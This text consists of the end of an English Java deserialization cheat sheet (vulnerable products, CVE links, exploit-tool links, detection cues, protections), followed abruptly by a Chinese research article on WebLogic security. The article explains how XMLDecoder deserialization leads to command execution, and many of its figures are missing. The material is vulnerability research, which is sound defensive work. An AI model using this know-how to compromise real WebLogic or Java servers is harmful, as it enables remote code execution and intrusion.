* all version, no fix (the project is not supported)
* POST XML request with element
* [Details and examples](https://0ang3el.blogspot.ru/2016/07/beware-of-ws-xmlrpc-library-in-your.html)
no spec tool
##### Apache Archiva
* because it uses Apache XML-RPC
* [CVE-2016-5004](https://www.vulners.com/search?query=CVE-2016-5004)
* [Details and examples](https://0ang3el.blogspot.ru/2016/07/beware-of-ws-xmlrpc-library-in-your.html)
no spec tool
##### Sun Java Web Console
* admin panel for Solaris
* < v3.1.
* [old DoS sploit](https://www.ikkisoft.com/stuff/SJWC_DoS.java)
no spec tool
##### Apache ActiveMQ - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
##### Redhat/Apache HornetQ - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
##### Oracle OpenMQ - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
##### IBM WebSphereMQ - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
##### Oracle Weblogic - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
##### Pivotal RabbitMQ - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
##### IBM MessageSight - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
##### IIT Software SwiftMQ - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
##### Apache ActiveMQ Artemis - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
##### Apache QPID JMS - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
##### Apache QPID - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
##### Amazon SQS Java Messaging - Client lib
* JMS
[JMET](https://github.com/matthiaskaiser/jmet)
### Detect
##### Code review
* _ObjectInputStream.readObject_
* _ObjectInputStream.readUnshared_
* Tool: [Find Security Bugs](http://find-sec-bugs.github.io/)
* Tool: [Serianalyzer](https://github.com/mbechler/serianalyzer)
##### Traffic
* _Magic bytes 'ac ed 00 05' bytes_
* _'rO0' for Base64_
* _'application/x-java-serialized-object' for Content-Type header_
##### Network
* Nmap >=7.10 has more java-related probes
* use nmap --all-version to find JMX/RMI on non-standart ports
##### Burp plugins
* [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
* [SuperSerial](https://github.com/DirectDefense/SuperSerial)
* [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)
### Vulnerable apps (without public sploits/need more info)
##### Spring Service Invokers (HTTP, JMS, RMI...)
##### SAP P4
* info from slides
##### Apache SOLR
* [SOLR-8262](https://issues.apache.org/jira/browse/SOLR-8262)
* 5.1 <= version <=5.4
* /stream handler uses Java serialization for RPC
##### Apache Shiro
* [SHIRO-550](https://issues.apache.org/jira/browse/SHIRO-550)
* encrypted cookie (with the hardcoded key)
##### Apache ActiveMQ (2)
* [_CVE-2015-5254_](http://activemq.apache.org/security-advisories.data/CVE-2015-5254-announcement.txt)
* _< = 5.12.1_
* [_Explanation of the vuln_](https://srcclr.com/security/deserialization-untrusted-data/java/s-1893)
* [CVE-2015-7253](https://www.vulners.com/search?query=CVE-2015-7253)
##### Atlassian Bamboo (1)
* [CVE-2015-6576](https://confluence.atlassian.com/x/Hw7RLg)
* _2.2 <= version < 5.8.5_
* _5.9.0 <= version < 5.9.7_
##### Atlassian Bamboo (2)
* [_CVE-2015-8360_](https://confluence.atlassian.com/bamboo/bamboo-security-advisory-2016-01-20-794376535.html)
* _2.3.1 <= version < 5.9.9_
* Bamboo JMS port (port 54663 by default)
##### Spring AMPQ
* [CVE-2016-2173](http://pivotal.io/security/cve-2016-2173)
* *1.0.0 <= version < 1.5.5
##### Apache HBase
* [HBASE-14799](https://issues.apache.org/jira/browse/HBASE-14799)
##### Apache Camel
* [CVE-2015-5348](https://www.vulners.com/search?query=CVE-2015-5348)
##### Gradle (gui)
* custom(?) protocol(60024/tcp)
* [article](http://philwantsfish.github.io/security/java-deserialization-github)
##### Oracle Hyperion
* from slides
##### Oracle Application Testing Suite
* [CVE-2015-7501](http://www.tenable.com/plugins/index.php?view=single&id=90859)
##### Red Hat JBoss BPM Suite
* [RHSA-2016-0539](http://rhn.redhat.com/errata/RHSA-2016-0539.html)
* [CVE-2016-2510](https://www.vulners.com/search?query=CVE-2016-2510)
##### VMWare vCenter/vRealize (various)
* [CVE-2015-6934](https://www.vulners.com/search?query=CVE-2015-6934)
* [VMSA-2016-0005](http://www.vmware.com/security/advisories/VMSA-2016-0005.html)
* JMX
##### Cisco (various)
* [List of vulnerable products](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20151209-java-deserialization)
* [CVE-2015-6420](https://www.vulners.com/search?query=CVE-2015-6420)
##### Lexmark Markvision Enterprise
* [CVE-2016-1487](http://support.lexmark.com/index?page=content&id=TE747&locale=en&userlocale=EN_US)
##### McAfee ePolicy Orchestrator
* [CVE-2015-8765](https://www.vulners.com/search?query=CVE-2015-8765)
##### HP Operations Orchestration
* [CVE-2016-1997](https://www.vulners.com/search?query=CVE-2016-1997)
##### HP Asset Manager
* [CVE-2016-2000](https://www.vulners.com/search?query=CVE-2016-2000)
##### HP Service Manager
* [CVE-2016-1998](https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05054565)
##### HP Operations Manager
* [CVE-2016-1985](https://h20565.www2.hpe.com/hpsc/doc/public/display?calledBy=Search_Result&docId=emr_na-c04953244&docLocale=en_US)
##### HP Release Control
* [CVE-2016-1999](https://h20565.www2.hpe.com/hpsc/doc/public/display?calledBy=Search_Result&docId=emr_na-c05063986&docLocale=en_US)
##### HP Continuous Delivery Automation
* [CVE-2016-1986](https://h20565.www2.hpe.com/hpsc/doc/public/display?calledBy=Search_Result&docId=emr_na-c04958567&docLocale=en_US)
##### HP P9000, XP7 Command View Advanced Edition (CVAE) Suite
* [CVE-2016-2003](https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05085438)
##### Adobe Experience Manager
* [CVE-2016-0958](https://www.vulners.com/search?query=CVE-2016-0958)
##### Unify OpenScape (various)
* [CVE-2015-8237](https://www.vulners.com/search?query=CVE-2015-8237)
* RMI (30xx/tcp)
* [CVE-2015-8238](https://www.vulners.com/search?query=CVE-2015-8238)
* js-soc protocol (4711/tcp)
##### Apache TomEE
* [CVE-2015-8581](https://www.vulners.com/search?query=CVE-2015-8581)
* [CVE-2016-0779](https://www.vulners.com/search?query=CVE-2016-0779)
##### IBM Congnos BI
* [CVE-2012-4858](https://www.vulners.com/search?query=CVE-2012-4858)
##### Novell NetIQ Sentinel
* [?](https://www.tenable.com/plugins/index.php?view=single&id=90602)
##### ForgeRock OpenAM
* _9-9.5.5, 10.0.0-10.0.2, 10.1.0-Xpress, 11.0.0-11.0.3 and 12.0.0_
* [201505-01](https://forgerock.org/2015/07/openam-security-advisory-201505/)
##### F5 (various)
* [sol30518307](https://support.f5.com/kb/en-us/solutions/public/k/30/sol30518307.html)
##### Hitachi (various)
* [HS16-010](http://www.hitachi.co.jp/Prod/comp/soft1/global/security/info/vuls/HS16-010/index.html)
* [0328_acc](http://www.hitachi.co.jp/products/it/storage-solutions/global/sec_info/2016/0328_acc.html)
##### Apache OFBiz
* [CVE-2016-2170](https://blogs.apache.org/ofbiz/date/20160405)
##### NetApp (various)
* [CVE-2015-8545](https://kb.netapp.com/support/index?page=content&id=9010052)
##### Apache Tomcat
* requires local access
* [CVE-2016-0714](https://www.vulners.com/search?query=CVE-2016-0714)
* [Article](http://engineering.pivotal.io/post/java-deserialization-jmx/)
##### Apache Batchee
##### Apache JCS
##### Apache OpenJPA
##### Apache OpenWebBeans
### Protection
* [Look-ahead Java deserialization](http://www.ibm.com/developerworks/library/se-lookahead/)
* [NotSoSerial](https://github.com/kantega/notsoserial)
* [SerialKiller](https://github.com/ikkisoft/SerialKiller)
* [ValidatingObjectInputStream](https://issues.apache.org/jira/browse/IO-487)
* [Some protection bypasses](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md#serial-killer-silently-pwning-your-java-endpoints)
* Tool: [Serial Whitelist Application Trainer](https://github.com/cschneider4711/SWAT)
### For Android
* [One Class to Rule Them All: 0-Day Deserialization Vulnerabilities in Android](https://www.usenix.org/conference/woot15/workshop-program/presentation/peles)
* [Android Serialization Vulnerabilities Revisited](https://www.rsaconference.com/events/us16/agenda/sessions/2455/android-serialization-vulnerabilities-revisited)
### Other serialization types
##### XMLEncoder
* <http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html>
##### XStream
* <http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/>
* <http://blog.diniscruz.com/2013/12/xstream-remote-code-execution-exploit.html>
* <https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream>
##### Kryo
* <https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-1-kryo>
* * * | 社区文章 |
**作者： 图南,r00t4dm @奇安信A-TEAM**
**公众号：[ 奇安信 CERT](https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ " 奇安信
CERT")**
> 可能是你能找到的最详细的WebLogic安全相关中文文档
## 序
从我还未涉足安全领域起，就知道WebLogic的漏洞总会在安全圈内变成热点话题。WebLogic爆出新漏洞的时候一定会在朋友圈刷屏。在从事安全行业之后，跟了几个WebLogic漏洞，写了一些分析，也尝试挖掘新漏洞和绕过补丁。但因为能力有限，还需要对WebLogic，以及Java反序列化有更深入的了解才能在漏洞挖掘和研究上更得心应手。因此决定写这样一篇长文把我所理解的WebLogic和WebLogic漏洞成因、还有这一切涉及到的相关知识讲清楚，也是自己深入WebLogic的过程。因此，本文不是一篇纯漏洞分析，而主要在讲“是什么”、“什么样”、“为什么”。希望把和WebLogic漏洞有关的方方面面都讲一些，今后遇到类似的问题有据可查。
本文由@r00t4dm和我共同编写，@r00t4dm对XMLDecoder反序列化漏洞做过深入研究，这篇文中的有关WebLogic
XMLDecoder反序列化漏洞部分由他编写，其他部分由我编写。我俩水平有限，不足之处请批评指正。下面是我俩的个人简介：
> 图南：开发出身，擅长写漏洞。现就职于奇安信A-TEAM做Web方向漏洞研究工作。
>
> r00t4dm：奇安信A-TEAM信息安全工程师，专注于Java安全
我们都属于奇安信A-TEAM团队，以下是A-TEAM的简介：
> 奇安信 A-TEAM 是隶属于奇安信集团旗下的纯技术研究团队。团队主要致力于 Web 渗透，APT
> 攻防、对抗，前瞻性攻防工具预研。从底层原理、协议层面进行严肃、有深度的技术研究，深入还原攻与防的技术本质。
>
> 欢迎有意者加入！
闲话说到这里，我们开始吧。
## WebLogic简介
在我对WebLogic做漏洞分析的时候其实并不了解WebLogic是什么东西，以及怎样使用，所以我通读了一遍官方文档，并加入了一些自己的理解，将WebLogic完整的介绍一下。
### 中间件（Middleware）
中间件是指连接软件组件或企业应用程序的软件。中间件是位于操作系统和分布式计算机网络两侧的应用程序之间的软件层。它可以被描述为“软件胶水。通常，它支持复杂的分布式业务软件应用程序。
Oracle定义中间件的组成包括Web服务器、应用程序服务器、内容管理系统及支持应用程序开发和交付的类似工具，它通常基于可扩展标记语言（XML）、简单对象访问协议（SOAP）、Web服务、SOA、Web
2.0和轻量级目录访问协议（LDAP）等技术。
### Oracle融合中间件（Oracle Fusion Middleware）
Oracle融合中间件是Oracle提出的概念，Oracle融合中间件为复杂的分布式业务软件应用程序提供解决方案和支持。Oracle融合中间件是一系列软件产品并包括一系列工具和服务，
如：符合Java Enterprise Edition 5（Java
EE）的开发和运行环境、商业智能、协作和内容管理等。Oracle融合中间件为开发、部署和管理提供全面的支持。Oracle融合中间件通常提供以下图中所示的解决方案：
Oracle融合中间件提供两种类型的组件：
* Java组件
Java组件用于部署一个或多个Java应用程序，Java组件作为域模板部署到Oracle WebLogic Server域中。这里提到的Oracle
WebLogic Server域在后面会随着Oracle WebLogic Server详细解释。
* 系统组件
系统组件是被Oracle Process Manager and Notification
(OPMN)管理的进程，其不作为Java应用程序部署。系统组件包括Oracle HTTP Server、Oracle Web Cache、Oracle
Internet Directory、Oracle Virtual Directory、Oracle Forms Services、Oracle
Reports、Oracle Business Intelligence Discoverer、Oracle Business Intelligence。
### Oracle WebLogic Server（WebLogic）
Oracle WebLogic Server（以下简称WebLogic）是一个可扩展的企业级Java平台（Java EE）应用服务器。其完整实现了Java
EE 5.0规范，并且支持部署多种类型的分布式应用程序。
在前面Oracle融合中间件的介绍中，我们已经发现了其中贯穿着WebLogic的字眼，且Oracle融合中间件和WebLogic也是我在漏洞分析时经常混淆的。实际上WebLogic是组成Oracle融合中间件的核心。几乎所有的Oracle融合中间件产品都需要运行WebLogic
Server。因此， **本质上，WebLogic
Server不是Oracle融合中间件，而是构建或运行Oracle融合中间件的基础，Oracle融合中间件和WebLogic密不可分却在概念上不相等。**
### Oracle WebLogic Server域
Oracle WebLogic Server域又是WebLogic的核心。Oracle WebLogic Server域是一组逻辑上相关的Oracle
WebLogic Server资源组。域包括一个名为Administration Server的特殊Oracle WebLogic
Server实例，它是配置和管理域中所有资源的中心点。也就是说无论是Web应用程序、EJB（Enterprise
JavaBeans）、Web服务和其他资源的部署和管理都通过Administration Server完成。
### Oracle WebLogic Server集群
WebLogic Server群集由多个同时运行的WebLogic
Server服务器实例组成，它们协同工作以提供更高的可伸缩性和可靠性。因为WebLogic本身就是为分布式设计的中间件，所以集群功能也是WebLogic的重要功能之一。也就有了集群间通讯和同步，WebLogic的众多安全漏洞也是基于这个特性。
### WebLogic的版本
WebLogic版本众多，但是现在我们经常见到的只有两个类别：10.x和12.x，这两个大版本也叫WebLogic Server 11g和WebLogic
Server 12c。
根据Oracle官方下载页面<https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html>（从下向上看）：
10.x的版本为Oracle WebLogic Server
10.3.6，这个版本也是大家用来做漏洞分析的时候最喜欢拿来用的版本。P牛的vulhub(<https://github.com/vulhub/vulhub>)中所有WebLogic漏洞靶场都是根据这个版本搭建的。
12.x的主要版本有：
* Oracle WebLogic Server 12.1.3
* Oracle WebLogic Server 12.2.1
* Oracle WebLogic Server 12.2.1.1
* Oracle WebLogic Server 12.2.1.2
* Oracle WebLogic Server 12.2.1.3
值得注意的是， **Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6， Oracle WebLogic
Server 12.1.3支持的最低JDK版本为JDK1.7，Oracle WebLogic Server
12.2.1及以上支持的最低JDK版本为JDK1.8** 。因此由于JDK的版本不同，尤其是反序列化漏洞的利用方式会略有不同。同时， **不同的Oracle
WebLogic
Server版本依赖的组件(jar包)也不尽相同，因此不同的WebLogic版本在反序列化漏洞的利用上可能需要使用不同的Gadget链（反序列化漏洞的利用链条）。**
但这些技巧性的东西不是本文的重点，请参考其他文章。如果出现一些PoC在某些时候可以利用，某些时候利用不成功的情况，应考虑到这两点。
### WebLogic的安装
在我做WebLogic相关的漏洞分析时，搭建环境的过程可谓痛苦。某些时候需要测试不同的WebLogic版本和不同的JDK版本各种排列组合。于是在我写这篇文章的同时，我也对解决WebLogic环境搭建这个痛点上做了一点努力。随这篇文章会开源一个Demo级别的WebLogic环境搭建工具，工具地址：<https://github.com/QAX-A-Team/WeblogicEnvironment>关于这个工具我会在后面花一些篇幅具体说，这里我先把WebLogic的安装思路和一些坑点整理一下。注意后面内容中出现的`$MW_HOME`均为middleware中间件所在目录，`$WLS_HOME`均为WebLogic
Server所在目录。
第一步：安装JDK。首先需要明确你要使用的WebLogic版本，WebLogic的安装需要JDK的支持，因此参考上一节各个WebLogic版本所对应的JDK最低版本选择下载和安装对应的JDK。一个小技巧，如果是做安全研究，直接安装对应WebLogic版本支持的最低JDK版本更容易复现成功。
第二步：安装WebLogic。从Oracle官方下载页面下载对应的WebLogic安装包，如果你的操作系统有图形界面，可以双击直接安装。如果你的操作系统没有图形界面，参考静默安装文档安装。11g和12c的静默安装方式不尽相同：
11g静默安装文档：<https://oracle-base.com/articles/11g/weblogic-silent-installation-11g12c>静默安装文档：<https://oracle-base.com/articles/12c/weblogic-silent-installation-12c>
第三步：创建Oracle WebLogic Server域。前两步的安装都完成之后，要启动WebLogic还需要创建一个WebLogic
Server域，如果有图形界面，在`$WLS_HOME\common\bin`中找到`config.cmd（Windows）`或`config.sh（Unix/Linux）`双击，按照向导创建域即可。同样的，创建域也可以使用静默创建方式，参考文档：[《Silent
Oracle Fusion Middleware Installation and Deinstallation——Creating a WebLogic
Domain in Silent
Mode》](https://docs.oracle.com/cd/E28280_01/install.1111/b32474/silent_install.htm#CHDGECID
"Silent Oracle Fusion Middleware Installation and Deinstallation——Creating a
WebLogic Domain in Silent Mode")
第四步：启动WebLogic
Server。我们通过上面的步骤已经创建了域，在对应域目录下的`bin/`文件夹找到`startWebLogic.cmd（Windows）`或`startWebLogic.sh（Unix/Linux）`，运行即可。
下图为已启动的WebLogic Server：
安装完成后，打开浏览器访问“<http://localhost:7001/console/>”，输入安装时设置的账号密码，即可看到WebLogic
Server管理控制台：
看到这个页面说明我们已经完成了WebLogic Server的环境搭建。WebLogic集群不在本文的讨论范围。关于这个页面的内容，主要围绕着Java
EE规范的全部实现和管理展开，以及WebLogic Server自身的配置。非常的庞大。也不是本文能讲完的。
### WebLogic官方示例
在我研究WebLogic的时候，官方文档经常提到官方示例，但我正常安装后并没有找到任何示例源码（sample文件夹）。这是因为官方示例在一个补充安装包中。如果需要看官方示例，请在下载WebLogic安装包的同时下载补充安装包，在安装好WebLogic后，按照文档安装补充安装包，官方示例即是一个单独的WebLogic
Server域：
### WebLogic远程调试
若要远程调试WebLogic，需要修改当前WebLogic Server域目录下`bin/setDomainEnv.sh`文件，添加如下配置：
debugFlag="true"
export debugFlag
然后重启当前WebLogic
Server域，并拷贝出两个文件夹：`$MW_HOME/modules`(11g)、`$WLS_HOME/modules`(12c)和`$WLS_HOME/server/lib`。
以IDEA为例，将上面的的`lib`和`modules`两个文件夹添加到Library：
然后点击 Debug-Add Configuration... 添加一个远程调试配置如下：
然后点击调试，出现以下字样即可正常进行远程调试。
Connected to the target VM, address: 'localhost:8453', transport: 'socket'
### WebLogic安全补丁
WebLogic安全补丁通常发布在Oracle关键补丁程序更新、安全警报和公告(<https://www.oracle.com/technetwork/topics/security/alerts-086861.html>)页面中。其中分为关键补丁程序更新（CPU）和安全警报（Oracle
Security Alert Advisory）。
关键补丁程序更新为Oracle每个季度初定期发布的更新，通常发布时间为每年1月、4月、7月和10月。安全警报通常为漏洞爆出但距离关键补丁程序更新发布时间较长，临时通过安全警报的方式发布补丁。
所有补丁的下载均需要Oracle客户支持识别码，也就是只有真正购买了Oracle的产品才能下载。
## WebLogic漏洞分类
WebLogic爆出的漏洞以反序列化为主，通常反序列化漏洞也最为严重，官方漏洞评分通常达到9.8。WebLogic反序列化漏洞又可以分为XMLDecoder反序列化漏洞和T3反序列化漏洞。其他漏洞诸如任意文件上传、XXE等等也时有出现。因此后面的文章将以WebLogic反序列化漏洞为主讲解WebLogic安全问题。
下表列出了一些WebLogic已经爆出的漏洞情况：
## Java序列化、反序列化和反序列化漏洞的概念
关于Java序列化、反序列化和反序列化漏洞的概念，可参考@gyyyy写的一遍非常详细的文章：[《浅析Java序列化和反序列化》](https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md
"《浅析Java序列化和反序列化》")。这篇文章对这些概念做了详细的阐述和分析。我这里只引用一段话来简要说明Java反序列化漏洞的成因：
> 当服务端允许接收远端数据进行反序列化时，客户端可以提供任意一个服务端存在的目标类的对象 （包括依赖包中的类的对象）
> 的序列化二进制串，由服务端反序列化成相应对象。如果该对象是由攻击者『精心构造』的恶意对象，而它自定义的readObject()中存在着一些『不安全』的逻辑，那么在对它反序列化时就有可能出现安全问题。
## XMLDecoder反序列化漏洞
### 前置知识
#### XML
XML（Extensible Markup
Language）是一种标记语言，在开发过程中，开发人员可以使用XML来进行数据的传输或充当配置文件。那么Java为了将对象持久化从而方便传输，就使得Philip
Mine在JDK1.4中开发了一个用作持久化的工具，XMLDecoder与XMLEncoder。由于近期关于WebLogic
XMLDecoder反序列化漏洞频发，本文此部分旨在JDK1.7的环境下帮助大家深入了解XMLDecoder原理，如有错误，欢迎指正。
> 注：由于JDK1.6和JDK1.7的Handler实现均有不同，本文将重点关注JDK1.7
#### XMLDecder简介
XMLDecoder是Philip Mine 在 JDK 1.4
中开发的一个用于将JavaBean或POJO对象序列化和反序列化的一套API，开发人员可以通过利用XMLDecoder的`readObject()`方法将任意的XML反序列化，从而使得整个程序更加灵活。
#### JAXP
Java API for XML Processing（JAXP）用于使用Java编程语言编写的应用程序处理XML数据。JAXP利用Simple API
for XML Parsing（SAX）和Document Object
Model（DOM）解析标准解析XML，以便您可以选择将数据解析为事件流或构建它的对象。JAXP还支持可扩展样式表语言转换（XSLT）标准，使您可以控制数据的表示，并使您能够将数据转换为其他XML文档或其他格式，如HTML。JAXP还提供名称空间支持，允许您使用可能存在命名冲突的DTD。从版本1.4开始，JAXP实现了Streaming
API for XML（StAX）标准。
DOM和SAX其实都是XML解析规范，只需要实现这两个规范即可实现XML解析。二者的区别从标准上来讲，DOM是w3c的标准，而SAX是由XML_DEV邮件成员列表的成员维护，因为SAX的所有者David
Megginson放弃了对它的所有权，所以SAX是一个自由的软件。
#### DOM与SAX的区别
DOM在读取XML数据的时候会生成一棵“树”，当XML数据量很大的时候，会非常消耗性能，因为DOM会对这棵“树”进行遍历。而SAX在读取XML数据的时候是线性的，在一般情况下，是不会有性能问题的。
图为DOM与SAX更为具体的区别：
由于XMLDecoder使用的是SAX解析规范，所以本文不会展开讨论DOM规范。
#### SAX
SAX是简单XML访问接口，是一套XML解析规范，使用事件驱动的设计模式，那么事件驱动的设计模式自然就会有事件源和事件处理器以及相关的注册方法将事件源和事件处理器连接起来。
这里通过JAXP的工厂方法生成SAX对象，SAX对象使用`SAXParser.parer()`作为事件源，`ContentHandler`、`ErrorHandler`、`DTDHandler`、`EntityResolver`作为事件处理器，通过注册方法将二者连接起来。
**ContentHandler**
这里看一下`ContentHandler`的几个重要的方法。
##### 使用SAX
笔者将使用SAX提供的API来对这段XML数据进行解析。
首先实现`ContentHandler`，`ContentHandler`是负责处理XML文档内容的事件处理器。
然后实现`ErrorHandler`， `ErrorHandler`是负责处理一些解析时可能产生的错误。
最后使用Apache Xerces解析器完成解析。
以上就是在Java中使用SAX解析XML的全过程，开发人员可以利用XMLFilter实现对XML数据的过滤。SAX考虑到开发过程中出现的一些繁琐步骤，所以在`org.xml.sax.helper`包实现了一个帮助类：`DefaultHandler`，`DefaultHandler`默认实现了四个事件处理器，开发人员只需要继承`DefaultHandler`即可轻松使用SAX：
#### Apache Xerces
Apache
Xerces解析器是一套用于解析、验证、序列化和操作XML的软件库集合，它实现了很多解析规范，包括DOM和SAX规范，Java官方在JDK1.5集成了该解析器，并作为默认的XML的解析器。——引用自<http://www.edankert.com/jaxpimplementations.html>
#### XMLDecoder反序列化流程分析
JDK1.7的XMLDecoder实现了一个`DocumentHandler`，`DocumentHandler`在JDK1.6的基础上增加了许多标签，并且改进了很多地方的实现。下图是对比JDK1.7的`DocumentHandler`与JDK1.6的`ObjectHandler`在标签上的区别。
JDK1.7:
JDK1.6:
值得注意的是CVE-2019-2725的补丁绕过其中有一个利用方式就是基于JDK1.6。
##### 数据如何到达xerces解析器
* `xmlDecodeTest.readObject()`：
* `java.beans.XMLDecoder.paringComplete()`：
* `com.sun.beans.decoder.DocumentHandler.parse()`：
* `com.sun.org.apache.xerces.internal.jaxp. SAXParserImpl.parse()`：
* `com.sun.org.apache.xerces.internal.jaxp. SAXParserImpl.parse()`：
* `com.sun.org.apache.xerces.internal.jaxp. AbstractSAXParser.parse()`：
* `com.sun.org.apache.xerces.internal.parsers. XMLParser.parse()`：
* `com.sun.org.apache.xerces.internal.parsers. XML11Configuration.parse()`：
* 在这里已经进入xerces解析器`com.sun.org.apache.xerces.internal.impl. XMLDocumentFragmentScannerImpl.scanDocument()`：
至此xerces开始解析XML，调用链如下：
##### Apache Xerces如何实现解析
Apache Xerces有数个驱动负责完成解析，每个驱动司职不同，下面来介绍一下几个常用驱动的功能有哪些。
由于Xerces解析流程太过繁琐，最后画一个总结性的解析流程图。
现在我们已经了解Apache Xerces是如何完成解析的，Apache
Xerces解析器只负责解析XML中有哪些标签，观察XML语法是否合法等因素，最终Apache
Xerces解析器都要将解析出来的结果丢给DocumentHandler完成后续操作。
#### DocumentHandler 工作原理
XMLDecoder在`com.sun.beans.decoder`实现了`DocumentHandler`，`DocumentHandler`继承了`DefaultHandler`，并且定义了很多事件处理器：
我们先简单的看一下这些标签都有什么作用：
* object标签代表一个对象，object标签的值将会被这个对象当作参数。
This class is intended to handle <object> element.
This element looks like <void> element,
but its value is always used as an argument for element
that contains this one.
* class标签主要负责类加载。
This class is intended to handle <class> element.
This element specifies Class values.
The result value is created from text of the body of this element.
The body parsing is described in the class {@link StringElementHandler}.
For example:
<class>java.lang.Class</class>
is shortcut to
<method name="forName" class="java.lang.Class">
<string>java.lang.Class</string>
</method>
which is equivalent to {@code Class.forName("java.lang.Class")} in Java code.
* void标签主要与其他标签搭配使用，void拥有一些比较值得关注的属性，如class、method等。
This class is intended to handle<void>element.
This element looks like <object>element,
but its value is not used as an argument for element
that contains this one.
* array标签主要负责数组的创建
This class is intended to handle<array>element,
that is used to array creation.
The {@code length} attribute specifies the length of the array.
The {@code class} attribute specifies the elements type.
The {@link Object} type is used by default.
For example:
<array length="10">
is equivalent to {@code new Component[10]} in Java code.
The {@code set} and {@code get} methods,
as defined in the {@link java.util.List} interface,
can be used as if they could be applied to array instances.
The {@code index} attribute can thus be used with arrays.
For example:
<array length="3" class="java.lang.String">
<void index="1">
<string>Hello, world<string>
</void>
</array>
is equivalent to the following Java code:
String[] s = new String[3];
s[1] = "Hello, world";
It is possible to omit the {@code length} attribute and
specify the values directly, without using {@code void} tags.
The length of the array is equal to the number of values specified.
For example:
<array id="array" class="int">
<int>123</int>
<int>456</int>
</array>
is equivalent to {@code int[] array = {123, 456}} in Java code.
* method标签可以实现调用指定类的方法
This class is intended to handle <method> element.
It describes invocation of the method.
The {@code name} attribute denotes
the name of the method to invoke.
If the {@code class} attribute is specified
this element invokes static method of specified class.
The inner elements specifies the arguments of the method.
For example:
<method name="valueOf" class="java.lang.Long">
<string>10</string>
</method>
is equivalent to {@code Long.valueOf("10")} in Java code.
在基本了解这些标签的作用之后，我们来看看WebLogic的PoC中为什么要用到这些标签。
`DocumentHandler`将Apache
Xerces返回的标签分配给对应的事件处理器处理，比如XML的java标签，如果java标签内含有class属性，则会利用反射加载类。
* object标签能够执行命令，是因为`ObjectElementHandler`事件处理器在继承`NewElementHandler`事件处理器后重写了`getValueObject()`方法，使用Expression创建对象。
* new标签 new标签能够执行命令，是因为`NewElementHandler`事件处理器针对new标签的class属性有一个通过反射加载类的操作。
* void标签 void标签的事件处理器`VoidElementHandler`继承了`ObjectElementHandler`事件处理器，其本身并未实现任何方法，所以都会交给父类处理。
* class标签的事件处理器`ClassElementHandler`的`getValue()`使用反射拿到对象。
#### PoC分析
此部分将针对一个PoC进行一个简单的分析，主要目的在于弄清这个PoC为什么能够执行命令。
首先使用`JavaElementHandler`处理器将java标签中的class属性进行类加载。
接着会对object标签进行处理，这一步主要是加载`java.lang.ProcessBuilder`类，由于`ObjectElementHandler`继承于`NewElementHandler`，所以将会使用`NewElementHandler`处理器来完成对这个类的加载。
然后会对array标签进行处理，这一步主要是构建一个string类型的数组，用于存放想要执行的命令，使用array标签的length属性可以指定数组的长度，由于`ArrayElementHandler`继承`NewElementHandler`，所以由`NewElementHandler`处理器来完成数组的构建。
接着会对void标签进行处理，这里主要是把想要执行的命令放到void标签内，`VoidElementHandler`没有任何实现，它只继承了`ObjectElementHandler`，所以void标签内的属性都会由`ObjectElementHandler`处理器处理。
然后会对string标签进行处理，这里主要是把string标签内的值取出来，使用`StringElementHandler`处理器处理。
最后需要利用void标签的method属性来实现方法的调用，开始命令的执行，由于`VoidElementHandler`继承`ObjectElementHandler`，所以将会由`ObjectElementHandler`处理器来完成处理。
最终在`ObjectElementHandler`处理器中，使用Expression完成命令的执行。
完整的解析链：
#### 简要漏洞分析
简单的分析一下XMLDecoder反序列化漏洞，以WebLogic
10.3.6为例，我们可以将断点放到`WLSServletAdapter.clas`128行，载入Payload，跟踪完整的调用流程，也可以直接将断点打在`WorkContextServerTube.class`的43行`readHeaderOld()`方法的调用上，其中`var3`参数即Payload所在：
继续跟入，到`WorkContextXmlInputAdapter.class`的`readUTF()`，`readUTF()`调用了`this.xmlDecoder.readObject()`，完成了第一次反序列化：xmlDecoder反序列化。
第二次反序列化即是Payload中的链触发的了，最终造成远程命令执行。
#### 补丁分析
WebLogic
XMLDecoder系列漏洞的补丁通常在`weblogic.wsee.workarea.WorkContextXmlInputAdapter.class`中，是以黑名单的方式修补：
不过由于此系列漏洞经历了多次的修补和绕过，现在已变成黑名单和白名单结合的修补方式，下图为白名单：
## T3反序列化漏洞
### 前置知识
在研究WebLogic相关的漏洞的时候大家一定见过JNDI、RMI、JRMP、T3这些概念，简单的说，T3是WebLogic
RMI调用时的通信协议，RMI又和JNDI有关系，JRMP是Java远程方法协议。我曾经很不清晰这些概念，甚至混淆。因此在我真正开始介绍T3反序列化漏洞之前，我会对这些概念进行一一介绍。
#### JNDI
JNDI(Java Naming and Directory
Interface)是SUN公司提供的一种标准的Java命名系统接口，JNDI提供统一的客户端API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。
JNDI可以兼容和访问现有目录服务如：DNS、XNam、LDAP、CORBA对象服务、文件系统、RMI、DSML v1&v2、NIS等。
